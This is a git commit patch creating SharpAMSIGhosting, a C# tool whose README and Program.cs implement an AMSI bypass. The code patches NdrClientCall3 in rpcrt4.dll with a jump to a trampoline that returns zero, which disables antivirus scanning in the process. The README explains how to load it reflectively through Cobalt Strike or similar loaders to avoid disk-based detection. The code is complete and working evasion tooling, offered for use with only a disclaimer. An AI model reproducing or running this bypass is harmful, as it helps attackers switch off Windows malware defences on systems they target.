From 769db61e21ff9a1456d9b695375e0b5f1c0d9d36 Mon Sep 17 00:00:00 2001 From: heqnx Date: Fri, 2 May 2025 13:06:42 +0300 Subject: initial commit --- README.md | 70 +++++++++++++++++ SharpAMSIGhosting.sln | 37 +++++++++ SharpAMSIGhosting/App.config | 6 ++ SharpAMSIGhosting/Program.cs | 108 +++++++++++++++++++++++++++ SharpAMSIGhosting/Properties/AssemblyInfo.cs | 33 ++++++++ SharpAMSIGhosting/SharpAMSIGhosting.csproj | 98 ++++++++++++++++++++++++ 6 files changed, 352 insertions(+) create mode 100644 README.md create mode 100644 SharpAMSIGhosting.sln create mode 100644 SharpAMSIGhosting/App.config create mode 100644 SharpAMSIGhosting/Program.cs create mode 100644 SharpAMSIGhosting/Properties/AssemblyInfo.cs create mode 100644 SharpAMSIGhosting/SharpAMSIGhosting.csproj diff --git a/README.md b/README.md new file mode 100644 index 0000000..4f2a40a --- /dev/null +++ b/README.md @@ -0,0 +1,70 @@ +# SharpAMSIGhosting + +`SharpAMSIGhosting` is a C# port of the AMSI bypass technique originally developed and documented by Andrea Bocchetti in the article, ["Ghosting AMSI: Cutting RPC to Disarm AV"](https://medium.com/@andreabocchetti88/ghosting-amsi-cutting-rpc-to-disarm-av-04c26d67bb80). Full credit goes to Andrea Bocchetti for pioneering this method, which patches `NdrClientCall3` in `rpcrt4.dll`, redirecting execution to a trampoline to disable AMSI scanning. This implementation adapts the technique into a reflective C# assembly for use in .NET-based offensive security tools. + +Additional resources and contributions by Andrea Bocchetti can be found on [Packet Storm Security](https://packetstormsecurity.com/files/author/7655/) and [Exploit-DB](https://www.exploit-db.com/?author=7413). + + +> **WARNING**: This tool is for **authorized security testing only**. Unauthorized use may violate laws and regulations. The author and contributors are not responsible for misuse. Always obtain explicit permission before testing any system. + +## Features + +- **AMSI Bypass**: Patches `NdrClientCall3` in `rpcrt4.dll` to disable AMSI scanning. +- **Memory Manipulation**: Uses `VirtualAlloc`, `VirtualProtect`, and `FlushInstructionCache` for runtime memory modifications. +- **Trampoline Hook**: Redirects function execution to a custom trampoline (`mov eax, 0; ret`). +- **Reflective Assembly**: Designed to run as a reflective assembly for in-memory execution. + +## Installation + +### Prerequisites + +- **.NET Framework**: Version 4.7.2 or later. +- **Visual Studio or MSBuild**: For compiling the C# source code. +- **Git**: To clone the repository. +- **Windows**: Compatible with Windows 10/11 +- **Reflective Loader**: A tool like `go-assembly-ldr` or Cobalt Strike to load the assembly reflectively. + +### Steps + +- Clone the repository: + +``` +PS C:\> git clone https://github.com/heqnx/SharpAMSIGhosting.git +PS C:\> cd SharpAMSIGhosting +``` + +- Compile the source code with Visual Studio by opening `SharpAMSIGhosting.sln` + +- Alternatively, compile with MSBuild: + +``` +PS C:\> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe SharpAMSIGhosting.csproj +``` + +### Running as a Reflective Assembly + +The `SharpAMSIGhosting` code must be executed as a reflective assembly to function correctly. This typically involves: + +1. Compiling the C# code into an executable or DLL. +2. Using a reflective loader (e.g., PowerShell, MSBuild, or InstallUtil loader from `go-assembly-ldr`, or `execute-assembly` from CS) to inject the assembly into memory. +3. Executing the `Main` or `Execute` method to perform the AMSI bypass. + +## Notes + +- **Reflective Execution**: The tool relies on reflective loading to avoid disk-based detection. Ensure your loader supports .NET assemblies. +- **System Requirements**: The target system must have `rpcrt4.dll`. +- **Detection Risk**: While the tool aims to evade AMSI, modern EDR solutions may detect memory manipulation or hooking behavior. + +## Automated Releases + +Check the GitHub Releases page for the new release with attached binaries. + +## License + +This project is licensed under the GNU GENERAL PUBLIC LICENSE. See the LICENSE file for details. + +## Disclaimer + +`SharpAMSIGhosting` is provided "as is" without warranty. The author and contributors are not liable for any damages or legal consequences arising from its use. Use responsibly and only in authorized environments. + + diff --git a/SharpAMSIGhosting.sln b/SharpAMSIGhosting.sln new file mode 100644 index 0000000..d7e0e9e --- /dev/null +++ b/SharpAMSIGhosting.sln @@ -0,0 +1,37 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.13.35931.197 d17.13 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpAMSIGhosting", "SharpAMSIGhosting\SharpAMSIGhosting.csproj", "{8A92D4B7-C956-445D-9F51-3287FDC7F522}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Debug|x64 CPU.ActiveCfg = Debug|x64 + {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Debug|x64 CPU.Build.0 = Debug|x64 + {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Debug|x86 CPU.ActiveCfg = Debug|x86 + {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Debug|x86 CPU.Build.0 = Debug|x86 + {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Release|Any CPU.Build.0 = Release|Any CPU + {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Release|x64 CPU.ActiveCfg = Release|x64 + {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Release|x64 CPU.Build.0 = Release|x64 + {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Release|x86 CPU.ActiveCfg = Release|x86 + {8A92D4B7-C956-445D-9F51-3287FDC7F522}.Release|x86 CPU.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {BE36A9FC-9412-4596-84C2-1D5F4E056CA2} + EndGlobalSection +EndGlobal diff --git a/SharpAMSIGhosting/App.config b/SharpAMSIGhosting/App.config new file mode 100644 index 0000000..5754728 --- /dev/null +++ b/SharpAMSIGhosting/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/SharpAMSIGhosting/Program.cs b/SharpAMSIGhosting/Program.cs new file mode 100644 index 0000000..75fb518 --- /dev/null +++ b/SharpAMSIGhosting/Program.cs @@ -0,0 +1,108 @@ +using System; +using System.Linq; +using System.Runtime.InteropServices; + +namespace AmsiGhost +{ + public class Mem + { + [DllImport("kernel32.dll")] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll")] + public static extern IntPtr LoadLibrary(string name); + + [DllImport("kernel32.dll")] + public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + [DllImport("kernel32.dll")] + public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); + + [DllImport("kernel32.dll")] + public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize); + + [DllImport("kernel32.dll")] + public static extern IntPtr GetCurrentProcess(); + } + + public class Program + { + private const uint PAGE_EXECUTE_READWRITE = 0x40; + private const uint MEM_COMMIT = 0x1000; + private const uint MEM_RESERVE = 0x2000; + private const uint PATCH_SIZE = 12; + + public static void Main(string[] args) + { + Execute(); + } + + public static void Execute() + { + try + { + Console.WriteLine("[*] Starting AMSI ghosting"); + + UIntPtr size = new UIntPtr(0x1000); + IntPtr trampoline = Mem.VirtualAlloc(IntPtr.Zero, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + if (trampoline == IntPtr.Zero) + { + Console.WriteLine("[-] Failed to allocate trampoline"); + return; + } + Console.WriteLine($"[+] Trampoline allocated at 0x{trampoline.ToInt64():X}"); + + byte[] hook = new byte[] { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 }; + Marshal.Copy(hook, 0, trampoline, hook.Length); + Console.WriteLine("[+] Hook written to trampoline"); + + UIntPtr len = new UIntPtr((uint)hook.Length); + Mem.FlushInstructionCache(Mem.GetCurrentProcess(), trampoline, len); + Console.WriteLine("[+] Instruction cache flushed"); + + IntPtr lib = Mem.LoadLibrary("rpcrt4.dll"); + if (lib == IntPtr.Zero) + { + Console.WriteLine("[-] Failed to load rpcrt4.dll"); + return; + } + Console.WriteLine($"[+] rpcrt4.dll loaded at 0x{lib.ToInt64():X}"); + + IntPtr func = Mem.GetProcAddress(lib, "NdrClientCall3"); + if (func == IntPtr.Zero) + { + Console.WriteLine("[-] Failed to resolve NdrClientCall3"); + return; + } + else + { + Console.WriteLine($"[+] NdrClientCall3 resolved at 0x{func.ToInt64():X}"); + } + + uint oldProtect; + bool protectResult = Mem.VirtualProtect(func, new UIntPtr(PATCH_SIZE), PAGE_EXECUTE_READWRITE, out oldProtect); + if (!protectResult) + { + Console.WriteLine($"[-] Failed to unprotect {(func == Mem.GetProcAddress(lib, "NdrClientCall3") ? "NdrClientCall3" : "AmsiScanBuffer")} memory"); + return; + } + Console.WriteLine($"[+] {(func == Mem.GetProcAddress(lib, "NdrClientCall3") ? "NdrClientCall3" : "AmsiScanBuffer")} memory unprotected"); + + long trampAddr = trampoline.ToInt64(); + byte[] patch = new byte[] { 0x48, 0xB8 } + .Concat(BitConverter.GetBytes(trampAddr)) + .Concat(new byte[] { 0xFF, 0xE0 }) + .ToArray(); + Marshal.Copy(patch, 0, func, patch.Length); + Console.WriteLine($"[+] Patch written to {(func == Mem.GetProcAddress(lib, "NdrClientCall3") ? "NdrClientCall3" : "AmsiScanBuffer")}"); + + Console.WriteLine($"[+] {(func == Mem.GetProcAddress(lib, "NdrClientCall3") ? "NdrClientCall3" : "AmsiScanBuffer")} patched - AMSI Ghosting"); + } + catch (Exception ex) + { + Console.WriteLine($"[-] Error: {ex.Message}"); + } + } + } +} diff --git a/SharpAMSIGhosting/Properties/AssemblyInfo.cs b/SharpAMSIGhosting/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f9e131a --- /dev/null +++ b/SharpAMSIGhosting/Properties/AssemblyInfo.cs @@ -0,0 +1,33 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SharpAMSIGhosting")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SharpAMSIGhosting")] +[assembly: AssemblyCopyright("Copyright © 2025")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("8a92d4b7-c956-445d-9f51-3287fdc7f522")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/SharpAMSIGhosting/SharpAMSIGhosting.csproj b/SharpAMSIGhosting/SharpAMSIGhosting.csproj new file mode 100644 index 0000000..a5a4f96 --- /dev/null +++ b/SharpAMSIGhosting/SharpAMSIGhosting.csproj @@ -0,0 +1,98 @@ + + + + + Debug + AnyCPU + {8A92D4B7-C956-445D-9F51-3287FDC7F522} + Exe + SharpAMSIGhosting + SharpAMSIGhosting + v4.7.2 + 512 + true + true + AnyCPU;x64;x86 + + + AnyCPU + true + full + true + bin\Debug\ + TRACE + prompt + 4 + true + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + true + + + x64 + true + full + true + bin\x64\Debug\ + TRACE + prompt + 4 + true + + + x64 + pdbonly + true + bin\x64\Release\ + TRACE + prompt + 4 + true + + + x86 + true + full + true + bin\x86\Debug\ + TRACE + prompt + 4 + true + + + x86 + pdbonly + true + bin\x86\Release\ + TRACE + prompt + 4 + true + + + + + + + + + + + + + + + + + + + + -- cgit v1.2.3